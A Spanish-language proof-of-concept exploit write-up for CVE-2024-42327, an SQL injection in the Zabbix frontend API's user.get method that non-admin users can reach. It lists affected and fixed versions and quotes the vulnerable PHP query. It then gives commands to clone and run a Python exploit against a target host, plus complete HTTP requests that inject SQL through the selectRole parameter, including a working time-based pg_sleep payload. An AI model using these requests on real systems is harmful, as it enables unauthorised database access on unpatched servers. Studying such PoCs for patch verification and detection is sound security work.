
Exploit de prueba de concepto para CVE-2024-42327, una vulnerabilidad de inyección SQL en la API del frontend de Zabbix que permite a usuarios no administradores ejecutar consultas SQL arbitrarias a través del método user.get.
Una cuenta de usuario no administrador en el frontend de Zabbix con el rol predeterminado de Usuario, o con cualquier otro rol que proporcione acceso a la API, puede explotar esta vulnerabilidad. Existe una inyección SQL en la clase CUser en la función addRelatedObjects, esta función es llamada desde la función CUser.get que está disponible para cualquier usuario que tenga acceso a la API.

Versiones vulnerables: 6.0.0 - 6.0.31, 6.4.0 - 6.4.16 , 7.0.0
Versiones corregidas: 6.0.32rc1 , 6.4.17rc1, 7.0.1rc1
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
Uso del exploit:
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"
Solicitud:
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
BurpSuite PoC (SQLi basado en tiempo)
SELECT pg_sleep(10)) AS DELAY
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
